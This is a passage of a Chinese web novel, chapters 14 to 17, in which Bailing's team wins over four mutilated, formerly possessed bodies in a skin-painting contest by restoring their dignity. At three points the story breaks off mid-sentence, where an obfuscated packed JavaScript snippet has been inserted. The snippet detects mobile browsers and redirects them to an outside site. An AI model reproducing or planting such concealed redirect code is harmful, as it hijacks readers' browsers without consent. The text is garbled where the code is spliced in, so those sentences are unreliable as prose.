看来这俩妖怪都遇到同样倒霉的事了。 “怎么了吗?” 眼见百灵大开大合的脸色转变,宋清河愈发困惑。 “没事,我就是突然想起了,小骨和我说过她曾经有个走失的弟弟,这个弟弟毁容了,我想八成就是卫影。” 不是百灵好心要替小骨隐藏真相,而是比起坦白,解释他们妖怪的身份还有他们之间的交易要复杂得多。 “那他们为什么不承认呢?”宋清河耸肩以示不解。 “小骨性情乖戾,我想她是不想说出来麻烦我。至于卫影,也许怕你不接纳这个莫名冒出来的姐姐,所以选择沉默。” 宋清河似懂非懂点点头,试图按照百灵的思路去想。 “我知道了,卫影肯定是怕我知道了要赶走他这个姐姐,也可能牵连到他身上,把他也赶走,所以他害怕就瞒着我。” 宋清河对自己的为人有着清晰的认知,当初收留卫影完全是看他能干又听话,万一哪天他不听话或是出现了更懂事的人,很有可能把他无情踹走。 “嗯嗯,就是这样。”百灵故意附和。 “既然他们不愿说,我想我们也不要捅破这层窗户纸,就假装不知道好了,你觉得如何?” 百灵接着引导宋清河。 “嗯嗯,可以。” 宋清河自然应允,她一开始顶多好奇卫影和小骨的关系,并没有多管他人闲事的心思。 而且现下卫影好用的很,她也不想因为什么姐姐妹妹的影响到他们之间的主仆关系。 14. 第十四章 学徒组的画皮初试地点在一处名为无忧阁的地方。 想都不用想,又是叶知舟的地盘。 只是这无忧阁和芜月楼虽名字相似,但两者却天差地别。 芜月楼占据着天时地利天和,生意如日中天,而无忧阁是叶知舟这几年新收的地,才建成不久的阁楼。 他不愧是精明算计的商人,大概是想借着比试的苗头给自己的阁楼增添些人气。 无忧阁不同于地处闹市的芜月楼,虽同在幽都,但这明显清净了许多,不是那种大自然的寂静,而是被人为修饰过得,梅兰竹菊,有序排列着,甚是清幽雅致。 从踏进无忧阁的那一刻,百灵好似明白了为何此处名唤无忧阁。 先不说阁内极为适目的陈设花草,她甫一进门,就闻到一股若有若无的淡淡香气,虽是陌生的气味,但莫名叫人异常舒心。 从装潢上不难看出,无忧阁面向的人群不是她这种人。 不过她的心思也不在于此,全身心想着接下来的比试。 比试正式开始前不久,每个人都需要抽签,以决定他们即将面对的修补对象。 看来起码要给四个人画皮,要在两柱香的时间内完成,实属艰难。 只能祈祷不要抽到损坏太过严重的。 比试只公布了规则,但是没有说评定的标准,只能看负责评判的主司是怎么想的。 模糊的规则越发让百灵意识到像这种关系户比试之间的含水量有多大。 这几日她和宋清河往来很近,试探着打听到她的家世背景很不一般。 她原是负气离家出走,匆忙带上行李和私房钱,都过得如此滋润阔绰,还能顺便收个小弟。 百灵觉得自己捡到大便宜了。 眼看着宋清河神色自如抽完签,她更觉得这把稳了。 比试正式开始,每个团队需在特定位置,采用提供的材料,在两柱香的时间内修补受损的身体。 百灵还琢磨着“特定位置”的含义,上场时才恍然大悟。 他们要在一个戏台子一样的地方两两同时开始进行,然后由主司选出其中获胜一组。 而台下,乌泱泱已经坐满了一大群观众。 还都是些穿金带银的富贵人家。 谁家的少爷小姐比试,拖家带口的来了。 甚至还有专门的画师,时刻准备记录珍惜瞬间。 也是,怎么说以前都是被人伺候,现在好不容易轮到千金之躯伺候别人,不得认真画下留存。 都这样了,宋清河还能忍住不往台下看一眼。 百灵不由得佩服她避嫌的决心。 “诸位贵宾,诸位同道,承蒙各位今日拨冗莅临,共襄盛举!” 锣鼓声响,一位身着华服的司仪立于台上出声主持比试。 “今日之比试,名曰画皮,考验的是画皮师的眼力、心力。来自四海八荒的画皮师们,将带给在座各位贵客那化腐朽为神奇、真假难辨的巧夺天工之技。” 司仪的声音高昂清晰,充满激情,伴随又一声锣响或鼓点响起,宣告比试正式开始。 百灵怀着忐忑的心情从幕后走向台前。 幕布缓缓揭开,他们需要修补的四位形主也展现出了庐山真面目。 刹那间,原本还带着几分好奇与期待的喧闹大厅,如同被一只无形巨手扼住了喉咙,瞬间陷入一片死寂。 紧接着,是压抑不住的、此起彼伏的倒抽冷气声,如同无数条冰冷的毒蛇在空气中嘶鸣吐信。 台上静静站立的四位等待修复的形主,他们残缺的程度,远超乎所有人的想象。 已非寻常的刀伤剑创,而是近乎被命运之神恶意摧残的躯体,赤裸裸地展示着生命的脆弱与残酷。 第一位形主:曾应是个倾国倾城的女子,柳眉杏眼,琼鼻朱唇,夹面桃腮。然而,一道狰狞的巨大裂口自她左肩斜劈至右下腹,仿佛被巨兽的利爪狠狠剖开,伤口并未完全愈合,边缘翻卷着暗红的皮肉,隐约可见其下森白的肋骨。 极致反差之下,她美丽的脸上毫无血色,眼神空洞,仿佛灵魂已从这破碎的躯壳中流走大半。 第二位形主:一个魁梧的汉子,但右臂连同肩膀竟齐根消失。断口处并非平滑,而是呈现出一种被暴力撕扯、扭曲烧焦的恐怖痕迹,黑红交错的肌肉组织裸露在外,好不渗人。 第三位、第四位的惨状更胜,其中一个整个后背连同臀部的大片皮肤都没了,剩下的那位大半张脸都扭曲成一团,五官被挤压扭曲不成人形。 随便挑出其中一位,都是需要花上几天几夜的功夫来修补,两柱香的时间连一个人都够呛。 “嘶——!” “天啊……这,这怎么补?” “完了啊,这组人真是倒了血霉。” 台下的议论声再也压制不住,从最初的震惊死寂,迅速转化为一片压抑的哗然。 许多还未上场的参赛者脸色瞬间变得惨白,眼神中充满了动摇和退缩。 握着衣角的手指关节都因用力而泛白,手心却是一片冰凉的冷汗。 百灵看着台上那四个宛如从地狱爬出来的身影,只觉得眼前阵阵发黑。 意想不到的天崩开局,但百灵比起自己预料中更为冷静。 因为她知道这一切的缘由不是因为他们倒霉,是人为有意为之。 叶知舟,当真是个笑面虎。 可百灵偏偏就是个愈挫愈勇的人,越清楚叶知舟想让她难堪,越想和他作对到底。 “诸位画皮师,此即本次画皮之考题,四位形主,身负厄运,修补其形,亦是重铸其生!现在焚香,计时开始!” 香炉被郑重点燃,一缕青烟袅袅升起,为这残酷的舞台更添几分肃杀与绝望。 “这怎么搞啊?” 第一个出声的是卫影,他虽是外行,但察觉其余人的反应,也明白这是地狱级难度的比试。 宋清河也六神无主,和同样迷惘的周延玉一起,一左一右看向中间始终岿然不动的百灵。 “别急,先看看。” 百灵给了余三人一个安抚的眼神,随即上前察看四位形主的具体伤口细节。 宋清河也跟着一齐跟进,留下对画皮一窍不通的卫影和周延玉二人。 他们俩之间已经能保持恰当且合适的表面关系。 以学徒的身份见到周延玉时,卫影万分震惊,没想到这两个小骨真的是同一人。 碍于君上的权威,他对百灵的说辞装作全然不知,周延玉也默契没问起。 二人在确定这次的合作纯属巧合后,便决定将计就计演下去,这层关系对他们来说有益无害,他们之间的沟通也会更加顺利。 仔细察看一圈后,宋清河只能无奈着摇头叹气。 她的实践经验本就少,哪里见过这种受损这般严重的身体,能鼓起勇气观察已经很了不起了。 百灵显然胆子大很多,她在每位形主前都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16719264|189398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 俯下身子,直直凝视他们的双眼。 所有形主的眼神都如出一辙,那不是伤痛带来的麻木,而是灵魂被抽离后的绝对虚空,与当年的王二铁一模一样。 脑中灵光乍现,她忽而侧头焦急道:“小骨,你过来一下。” 周延玉听话走至她身侧。 百灵示意他俯下身子,然后附耳低语道:“我怀疑这几位形主都曾经被妖怪夺舍附身过,你帮我再看看。” “......” 周延玉身形一僵,缓缓撤走和百灵对上的目光,不置可否。 她竟然看出来了。 妖怪之间的感应是很灵敏的,更别说周延玉这种妖王级别的,只要低于他妖力之下的妖怪都能被他监测到。 一脚才踏进无忧阁时,他就意识到不对劲。 这里没有妖,但有和残留的妖气。 那四位形主露面时,这种感觉更加强烈,连卫影都发现了。 百灵比他想象中更敏锐,可惜这样聪明的脑子被困在了鬼的脆弱躯壳中。 周延玉没有及时表态,百灵也似乎明白什么。 他早就知道了。 可连做戏都不愿配合她。 小骨的防备心比她预想中更重。 “我没有要责怪你们妖怪的意思,我只是想搞清楚真相。”百灵再次出声,语气中带了几分恳切,“我要赢下这场比试,求你了。” “就当为了你自己未来的身体,帮帮我吧。” 百灵不得已又把妖骨拿出来当鸡毛令牌。 “你想我怎么做?” 周延玉其实没打算拒绝她,他也好奇真相。 只不过想故意拖延,听百灵低声下气求求他而已。 “比试的规则是修补其形,重铸其生,我们是绝对没办法在两柱香内把这四位的身体补全的,所以我想把重点放在重铸其生上。” “重铸其生?”周延玉思维凝滞,大脑一片空白。 “是的。”百灵视线坚定,解释道,“我之前和王二铁见面时,他曾经是清醒过的,他喊出了我的名字,我想有没有什么法子让他们也清醒过来,哪怕是短暂的清醒也好。” “我没猜错的话,他们的身上应该没有附身的妖怪了,背后之人不会冒着这么大的风险让被附身的鬼出现在这种场合的,所以他们也许还有救,和王二铁不一样。” 周延玉的默然再次证实了她的猜想。 “一个妖怪附身在鬼身上需要付出很大的代价,所以他们往往很谨慎,不会轻易更换宿主。这些鬼身上的妖虽不在了,但随时有卷土重来的可能。” 周延玉耐心为百灵讲解。 “妖族附身后会在宿主魂魄深处留下印记,如同野兽用气味标记领地。这些印记通常隐藏在关节、眉心或心脉等处,寻常手段难以察觉。” 他隐隐觉得百灵将会是一个比卫影更为靠谱的队友。 如果她也是妖就好了,那他们就是同类。 而不是敌对的关系。 “那你能找到这些标记之处,我来把这些地方除掉吗?”百灵当即想出应对之策。 “没了标记,他们是不是会重新恢复神智?” 周延玉轻轻摇头,“有这个可能,但不能确定。” “一点点可能也要试试,没有别的办法了。” 百灵当机立断,决定就按这个策略行动。 卫影配合周延玉做标记,她和宋清河则负责清除。 15. 第十五章 时间紧迫,她只和宋清河说自己心中有数,照她说的做就是。 百灵的沉稳让宋清河下意识依靠信服,老实听话配合她。 四人有条不紊搭配干活,台下的看客却一头雾水,因为他们四人做的工作不是修补,而是雪上加霜的损坏这四具早就难以入目的身体。 “他们是疯了吗?” “这是画皮大赛吗,我不是走错场子了吧......” “这是哪家的小姐少爷上台丢人来了。” 舆论的态度总是瞬息万变,原本还在同情第一组可怜遭遇的人,转眼纷纷嘲讽起台上人的奇异举动。 混入人群的叶知舟如隔岸观火,默默将百灵一行人的举动收入眼底。 不过他此时的注意点却不在百灵身上。 他视线准随着周延玉而动,紧抿的唇线逐渐放松,露出一抹意味深长的笑容。 “主子,有你的口信。” 一小厮钻入人群,在叶知舟身侧低语。 叶知舟侧头示意他继续。 “是宋家的人。” 叶知舟又将目光转意至宋清河方向。 很有意思的大小姐,唯一一个来参加比赛有靠山却没有助益的关系户。 他原想接着此次机会和宋家搞好关系,只是没成想宋小姐是不告而别,离家出走。 “宋家来传话说,务必别让小姐赢下比赛。” “呵。”叶知舟冷哼一声,这宋家仗着自己在幽都垄断了婚嫁行业,还真是傲慢。 竟然觉得他叶知舟会为了巴结没有任何承诺和约定的利益,暗地里让宋小姐走后门吗? “他们还说,若是主子能想办法让宋小姐心甘情愿回家,定要当面致谢。” “知道了,退下吧。” 而此刻台上的宋清河,对于家人的暗箱操作,一无所知。 一炷香的时间过去,她也无暇顾及其他。 站在第一位形主面前,她迟迟下不去手。 因为标记的地点是她的左眼,那样好看一双眼睛。 原本她以为只是要将这些人身上影响画皮的烂肉先清理掉,可这只眼睛分明没有任何问题,她不解也实在下不去手。 “宋小姐?”百灵早早完成自己的部分,敏锐注意到宋清河这边的情况。 “我来吧。”百灵以为宋清河胆子小不敢下手,当即侧身向前想自己动手。 “别动。”宋清河出声制止,神情严肃,“她这只眼睛完好无损,为何要剔除?我们是画皮师,是修补不足,不是创造不足的。” “那是因为......”百灵束手无策,不知该作何解释。 “因为他们都失了神智。”周延玉倒不忌讳,主动上前替百灵作答,“就是你现在放一面镜子在他们眼前,他们也不会对自己的残缺身体有丝毫动摇,至于你想保留的眼睛,里面也早就失了光彩。” 言外之意,这眼睛留与不留,没有多大的意义。 “就算如此,我们也没有权利决定这只眼睛的去留,毕竟这是她身上为数不多还保有体面的证明,就不能换个地方吗?” 周延玉的解释并没有说中要害,宋清河始终不解。 时间紧迫,百灵越过周延玉,将宋清河拉至一边。 “宋小姐,我们所要做的,就是帮助这几位形主恢复神智,至于各中缘由,太过复杂。不过我向你保证,这场比试结束后一定和你解释清楚。” 百灵一只手攀上宋清河的手臂,虽极力压低声响,但语气始终坚定,言之凿凿。 时间一分一秒的过去,百灵在说完这一段话后,始终保持沉默,紧紧盯着宋清河。 后者终于败下阵来,背过身去默许了百灵的决定。 百灵深深吸了一口气,迅速调整好状态,挑了一把趁手的小刀,准备清理掉最后一处标记。 这几位早就失去了意识,现在就同躯壳一般,因此不会有痛觉,百灵也可放心下手。 随着她手起刀落,原本对称无比的双眼,如今只剩下了一只孤零零的眼睛,还有深不见底的黑洞。 台下的讨论也因为她最后这一举动推向了高潮。 “一组退赛!他们这是在虐待形主!” “下台下台,这样的人怎么能当画皮师?” “这组人是来捣乱的吗?人好端端一只眼睛凭什么切掉?” “下台下台!退赛退赛!” “……” 人群中的骚乱愈演愈烈。 叶知舟早就退出了这群激愤的队伍,暗中命人出面维持秩序。 不多时,一群身宽体胖的护卫队从两边上前,刚好隔住了台前台后,以防有人过激上台。 见这架势,台底下叫嚷的声音明显减弱,但依旧细细碎碎夹杂着抱怨和不满声。 无论台底下的人如何嘲讽,台上的四位却始终岿然不动。 宋清河还是保持着背过身去回避的状态,她的学徒卫影和她截然相反,他站在台子的边缘,挺直脊背,本能驱使他警惕凝视下面人的一举一动。 周延玉则并肩站在百灵身边。 从底下喧哗声想起来的第一刻,但被迫逐渐安静下来,百灵的心绪也经历了七上八下的过山车般的起伏。 但这并不是因为这些无关的看客,她向来不在乎外界的声音。 她来回在这四人之间走动,企图发现一丝微不可察的变化。 可终究事与愿违。 这四位形主除了身体变得更加残缺之外,没有任何清醒的迹象。 怎么会这样? 百灵扭头看向周延玉,同样困惑的视线交织在一起,她刚张开的嘴,戛然止住。 她相信周延玉,因为他没有任何理由在这种节骨眼上面整她,而且很明显,他也同样迷茫。 难道是自己的手艺出了问题,这不可能,每一处她都做了仔仔细细的检查,周延玉的标记圈都很精细,范围很小。 保险起见,她还特地超过了一点范围,做到彻底的清除。 “还剩一炷香的时间——” 司仪大声提醒道,尖锐的嗓音刺破了四人默契的不语。 第一个行动起来的是宋清河。 她第一个上前查看的就是那位美丽的独眼女子。 没了一只眼睛的她,苍白的脸上写满了悲剧的痕迹,还有一丝顾影自怜的惆怅。 黑漆漆的眼眶骨,如同深渊一般,似乎是要把眼前的宋清河吸进去。 愧疚之情涌上心头,她并没有埋怨百灵,因为她其实可以固执挡在她的身前,可她最后还是选择了退让。 这种难以自抑的情感笼罩着她,驱使她必须行动起来做些什么。 她取下自己首饰上的一颗洁白珍珠,又拿出一小盒特制的鱼胶,小心翼翼地将珍珠固定在空洞的眼窝中。 随后,她用黑色颜料画出了瞳孔,最后点缀上白色高光。 许是因为珍珠的质地莹润,这只人为制造的假眼睛竟比另外一只真眼睛显得更加有神采。 宋清河情不自禁伸手扶上她的脸,用一种释怀的语气道,“这颗珍珠的光华世间独一无二,现在,它找到了最好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16719265|189398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的归宿。” “她的眼睛……” 一直在旁边默默注视的百灵忽然出声。 “你们看她的眼睛。” 另外三人顺着百灵的话齐齐围了上来。 那女子仅剩地一只眼中,由空洞慢慢变得聚焦,停留在宋清河的脸上。 百灵大受鼓舞,他们的思路没有错,这些人其实早就醒了,所以没有任何迹象,是因为他们不愿意醒。 就像沉睡多年的某人,突然醒来发现自己身处地狱,宁愿不相信这个事实,所以选择继续装睡。 不是所有人都像王二铁一样,一直坚持和妖怪抗争,直到生命最后一刻。 想是想明白了,可又现在又多了个新的难题。 不是所有人都能如法炮制,用宋清河悲悯的方式唤醒的。 很明显,这位女子先前一定是为非常爱美之人,所以才会因为宋清河这样一句话而动容。 那其他人呢? 他们想要什么?他们又在乎什么? 没有人知道,大家只当他们是任人摆布的躯壳,即使先前有打抱不平的人,也不是因为百灵的举动破坏了他们心目中想象的美。 周延玉的心也明了又暗,他和百灵意识到了同样的问题。 “百……”他想和百灵探讨一下,才一张口,就被百灵示意不要说话。 周延玉瞬间会意,他明白百灵正在思考。 百灵做了一个出人意料的举动,她慢慢退后,直到台上的边缘,退无可退。 视野随之扩大,在百灵的眼中,面对面的是四具视觉冲击力极大的残缺身体。 她又对上第一人的视线,那目光里充满哀愁,还有下意识的回避。 “还剩半柱香的时间——” “这人是在做法吗?怎么还不动?” “我看呐,是早就被吓傻啦!” 百灵对此充耳不闻。 她聚精会神打量每一位形主。 “百姑娘,你来了。” 她又想起了王二铁,和他们有着同样境遇的王二铁。 当时他明明有片刻的清醒,可随后又被妖怪占据了身体,为什么? 那时他挣扎着说要“杀了你”,是真的要杀死自己吗? 那时百灵直觉以为是附身在王二铁身上的妖怪要杀死自己,可那妖怪为何不慢慢引诱她,然后趁其不备偷袭,反而愚蠢说出自己的想法,鲁莽横冲。 那不是妖怪,是王二铁自己,他想杀死妖怪。 跌倒在地,骨头碎裂的声音,也是他想和妖怪同归于尽。 可最后还是被妖怪占据了身体。 一个恐怖的念头爬上她的脑中。 压死王二铁的最后一根稻草,或许是她。 如果妖怪想要好操纵的新身体,完全可以先从王婶下手,然后寻找合适的宿主。 可偏偏遇上她那天,妖怪彻底失控了,王二铁也放弃了抵抗。 事情的关键节点就在于她。 她对于王二铁人不人鬼不鬼的样子,下意识表现出了恐惧,厌恶的行为。 王二铁或许想过要活下去,但是体面的活下去,而不是被当成一个怪物。 是因为这样……最后才放弃的吗? 再次抬眸对上四位形主,百灵心中有了答案。 从始至终她都搞错了一个点,因为她一直执着于如何修复到完美状态,而忘记了更重要的是如何修复好他们失去的尊严和灵魂。 百灵目光中的迷茫如潮水般退去,取而代之的是一种沉静而坚定的光芒。 16. 第十六章 她沉默抬起头,眼神示意剩下的三人。 “场上有四位形主,只有一位成功被宋小姐唤醒了,还剩三位,我需要你们的帮助。” “要我们怎么做?”卫影第一个附和道。 “看。”百灵言简意赅,“看他们想要什么,看我们怎么做才能触动到他们。” 卫影还在如果是怎么个看法,周延玉已经先他一步行动了。 “时间不多了,边看边想吧,能做到哪是哪,别纠结了。” 卫影知道周延玉在点他,当即开始行动起来,仔细观察余下三人。 “这个人交给我。” 周延玉很快锁定了坐在第二位的独臂男子。 他发现此人虎口、掌心靠近拇指的地方有厚茧,很有可能是个习武之人。 习武之人断臂,不亚于猛兽失去獠牙,是莫大的痛苦和绝望。 周延玉轻轻伸手,碰上他那只仅剩的手臂。 他的状态很脆弱,只需一丁点的妖力,就能让他感觉力量充沛,如获新生。 与此同时,卫影在那位失去大半皮肤的形主面前静立许久。 这是四位形主中年纪最小的一个,不仅个头矮一大截,而且身材瘦削,耷拉着脑袋,骨头的形状随着呼吸起伏,清晰可见。 卫影看着少年起伏的背影,仿佛看到了当年父母离去后,那个蜷缩在角落的自己。 他立刻读懂了对方面对伤痕时,那份渴望被看见却又害怕被注视的绝望。 他曾努力通过伤痕证明自己的价值,那时他多么希望有人能看见那不只是伤口。 卫影没有说话,而是做出了一个让所有人都意想不到的动作。 他绕到少年身后,将自己温热的掌心,直接、轻柔地覆上了少年后背那片最为狰狞、几乎无人敢直视的伤疤之上。 “……”少年形主轻轻一颤,仿佛那块失去知觉的皮肤第一次感受到了外界的温度。 卫影的掌心稳稳地停在那里,如同覆盖着一件易碎的珍宝,他能清晰地感受到手下皮肤的粗糙、凹凸与脆弱。 他微微俯身,用一种近乎笨拙的、只有两人能听见的声音低语: “我小时候,身上也有过无数道伤痕。”他顿了顿,平淡且坚定道,“很丑。但它告诉我,我还活着,我还能被看见。” 没有同情,没有恐惧,只有一种同类之间的确认。 少年始终低垂的脊背,缓缓地、试探性地抬起了微不可察的一寸。 最后一位形主,自然交给了百灵。 她跪坐在那位面目全非的形主面前,并未立即动手。 她凝视着那些纵横交错的的伤痕,想起王二铁那张笑到同样扭曲的脸。 眼前这个人,是否也和王二铁一样,为了从妖怪的掌控中挣脱,为了守住最后的自我,才亲手将自己伤至如此? “小骨,你来一下。”百灵转头轻身呼唤周延玉。 “你看这张脸,是不是妖怪所为?” 周延玉仔细端详,得出了结论,“我看不像,而且若我想要一具身体,绝对不会破坏身体的脸。” 那就是说,是他自己所为,又或者是天生如此。 百灵双手抚上他的脸,专注摸过每一处皮肤。 此人鼻骨断裂,下颌紊乱错位导致脸歪嘴斜,眼球凹陷且额头前突,眉骨高耸。 整张脸像陷在了一摊泥池中。 留给她的时间不多了。 “宋小姐,你是否会雕刻鼻骨,现在能立刻做出来吗?”百灵投向宋清河的目光急切中带着一丝恳求。 “我尽力。”宋清河点头应下。 有了宋清河的支持,百灵也马不停蹄开始工作。 她费力搬开形主的嘴,欲伸手进去调整。 “冒犯了。” 她一边说一边摸索进他的口腔,按住下颌关节处的位置不断调整。 错位情况过于严重,她只能站起身,把他的脑袋一手固定住,一手托住下颌来回摆动,直到回到应该在的位置。 忙完这些,她又立刻拿起一把趁手的小刀划开他的鼻柱,掀开表面的皮肤,然后仔细清理其中碎掉的骨头。 等宋清河雕刻好鼻骨,她也清理完毕,二人实现完美交接。 放入鼻腔,调整位置,缝合创口,百灵的动作一气呵成。 随着最后一针落下并打结,香炉正好燃尽,百灵也终于赶在最后一刻完成。 “我认识一个人,”百灵开口,声音像清晨的露水一样轻而干净,“他为了不变成自己厌恶的样子,宁可毁掉自己。” 她抬头凝视这张还未彻底完工的脸。 “虽然我不知道你的脸是如何变成这样,但我知道你已经尽力了,同样我也是。所以,这不仅是残缺的脸,更是一张胜利者的脸。” “因为你还是你自己,不是另外一个人。” 说完,百灵欣慰笑了,既是对他,也是对自己。 四位形主静静地立在原地,看似变了,但却又说不上变了什么。 台下一片哗然。 台下第一排负责评判的主司也交头接耳不知再说些什么。 片刻后,其中一名主司向司仪示意,二人匆匆交流几句后,司仪重新上台。 “请一组讲解为形主们如此修复的思路和缘由。” 虽为指定发言人选,但大家早就默认是一直以来主导局面的百灵。 场下的窃窃私语声瞬间平息了,所有目光都聚焦在百灵身上。 百灵上前一步,目光扫过台下,最终落回四位形主身上。 “主司问我们修复的思路,我们的思路,就是看见他们,大家看到的是残缺,但我们一组看到的,是抗争。” 她指向独臂形主:“我们看见了一位武者失去獠牙的痛苦,给予他力量的感受,重铸其脊梁。” 她指向瘦弱少年:“我们看见了伤痕之下,一个渴望被确认的灵魂,给予他同伴的触摸,重铸其尊严。” 她指向独眼女子:“我们看见了她独一无二的价值,给予她稀世明珠,重铸其光华。” 最后,她看向自己修复的形主:“而我看见的,是一位宁为玉碎的胜利者,我修复他的骨骼,只为向世人证明他坚守的自我。因此,我们所修复的,是他们生而为人的尊严。” 百灵这一番解释,巧妙将原本画皮比试的重点从修补的技巧和完整度,引导了对于更深层次的画皮最终目的的探讨。 “这丫头胡扯什么呢,我怎么一句也听不懂?” “是啊,画皮就画皮,这都扯到哪去了?” “可是这小姑娘说的也有点道理,我看这几位形主还怪可怜的,还要当众上台给人展示,这不是二次伤害吗?” “有没有人发现,这几个人的状态比刚上台先好了不少呢!” “小姑娘说话还真能唬人,我看分明就是技不如人,这算哪门子的画皮师!” 台下观众各持己见,众说纷纭,有支持的声音,也有反对的声音。 评判的主司需要在下一组人结束后才公布第一组的分数,因而百灵一行人只能在退场后默默等待。 “我们这样能行吗?” 等候室内,卫影第一个出声,打破了沉闷的氛围。 他方才切实共情了少年形主,所以当然希望能赢,也希望能通过这种合作关系,继续保持和周延玉的沟通交流。 如果比赛输了,就意味他们两组人要分道扬镳。 “那得看有人想不想让我们赢。” 一旁的周延玉模棱两可回应道。 他说话时还特意看向百灵和宋清河的方向。 虽然是个外行,但他也从这第一场比赛的诡异之中看出了端倪,很明显,他们这一组被人针对了。 针对他们的人故意使绊子,可能是想让他们输,也可能只是在警告什么。 所以是输是赢,全都取决于此人的心情。 他和卫影的身份应该隐藏得不错,所以这背后的人是冲着剩下两位来的。 百灵没有什么背景,所以周延玉暂时将一点放在了宋清河身上。 感受到周延玉来者不善的目光,宋清河内心莫名烦躁心慌。 她深吸一口气,蓦地站起身,拉住百灵的手腕径直向外走去。 “我们出去聊聊。” 百灵知道她迫切想要一个答案,并未抗拒,顺从地跟了出去。这样也好,正好避开周延玉和卫影。 这样也好,可以避开周延玉和卫影。 就在她们关门离去后不久,周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16721135|189398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 延玉立刻行动起来。他吩咐卫影留守看护自己的身体,静默片刻,灵魂随即脱体而出。 穿过几道回廊,他轻而易举地发现了正在隐秘交谈的宋清河与百灵。 “说吧,到底是怎么回事?”宋清河开门见山。 “我可以告诉你,但在此之前,你必须答应我,接下来你听到的一切,绝不会透露给第三个人。”百灵清楚自己无法回避解释,只能寄望于宋清河值得信任。 “因为这是我对一个非常重要之人的承诺。”她补充道。 拐角处,隐去身形的周延玉闻言心神微震。 他们何时有了这般深厚的关系?他自己竟不知晓? 事实上,百灵并非真认为周延玉有多重要,无非是想借此引起宋清河的重视,让她应诺。 “我答应你,说吧。”宋清河点头应下。 “如你所见,那四个形主之所以神智尽失,是因为他们曾经都被妖怪附身过。” 百灵也不再遮掩,如实坦诚。 “你看到的那只左眼虽然完好无损,但实际上妖怪早就留下了标记,如果不彻底去除,那妖怪随时可以趁虚而入。” “这也解释了为何他们的眼神会产生变化,尤其是第一位形主,我想,她或许是被你的悲悯之心触动,残存的意识作出了回应。” 百灵解释完毕,静待宋清河的追问。然而对方却出乎意料地冷静,沉默了许久,只淡淡说了一句:“原来如此。” 百灵震惊于她的平静,但也不打算深究,毕竟她自己也不想在此事上过多纠缠。 毕竟对于某人来说,她已经背信了。 “对了,那他们两个人又是如何知晓标记所在的?” 理顺了事情的原因,宋清河将话茬转到了周延玉上。 该来的还是来了。 百灵强装镇定,不慌不忙说出早已准备的答案。 “我之前不是和你说她们是失散多年的姐弟,那是因为姐弟二人曾经先后被妖怪附身,为了不连累家人,所以选择出走。” “其实这也是偶然,在上台时,他们发现自己能和这几位形主有奇妙的感应,想必是源于相似的遭遇。” 这是她能想到最好的解释,无论如何,绝不能透露他们本是妖怪的真相。 话音落下,宋清河蹙眉陷入沉思。她想起台上周延玉和卫影的主动,确实可能共感了。 “那他们俩后来是怎么恢复正常的?” 按照百灵所说的逻辑,那岂不是还得有另外的人通过感应去除标记,然后唤醒他们。 百灵并没有准备应对这个提问的说辞。 一方面是她不知道怎么解释,另一方面,她担心把事情越描越黑,日后不慎露出马脚。 “这个我也不清楚,我遇见小骨的时候她就已经恢复正常了。”百灵刻意停顿,继而说道,“我猜测是因为妖怪找到了更合适的宿主,所以主动离开了。” “我明白了。既然如此,他们身上的印记应当也还未除,你就不怕他们有一天再度被控制吗?”宋清河顺着她的思路继续追问。 “我不怕。”百灵语气坚定,“我相信小骨,他是个好人,即便真有那一天,他也绝不会伤害我。” “……” 暗处的周延玉心中又是一震。 若说先前她为他的身份打掩护是出于自保,那此刻这番维护之言,便实在难以用利己来解释。 毕竟她无需做到这个地步。 一会儿是“重要的人”,一会儿又是“好人”。 周延玉暗自决定,姑且以此抵消她先前的不敬之举,给她一次在自己心目中重塑形象的机会。 “看不出来,你和一个学徒关系这般亲近?”宋清河的语调微扬,百灵几乎从中听出一丝若有似无的揶揄。 “主要是我与小骨特别投缘吧。我这个人,很信缘分的。”百灵开始胡言乱语。 如果真的有缘分,那也是孽缘吧。 她迅速向四周瞟了两眼,随即想起小骨的魂体肉眼凡胎大抵是看不见的,只能在心中默默祈愿:小骨啊小骨,你可千万要在场。 否则,这些违心的奉承话可就全白说了。 以那人多疑的性子,十有八九正潜伏附近,若换作是她,也一定会这样做。 17. 第十七章 “你还有什么想问的吗?”末了,百灵反客为主道。 宋清河摇摇头,刚转身欲返回等待室,却被百灵轻声拦下。 “那我倒有几个问题,也想请教你。” “说吧。”宋清河转过身,神情坦然。 “你听说过叶知舟吗?”百灵注视着她,“或者,有没有在哪里听过这个名字?” “没有,他是谁?” “他是芜月楼的老板,也是这次比赛的主办人。”百灵不再迂回,继续说道,“我怀疑场上那几位形主,是他故意安排来针对我们的。” 百灵虽说的是“我们”,可宋清河听得明白,这个“我们”其实是在指“她”。 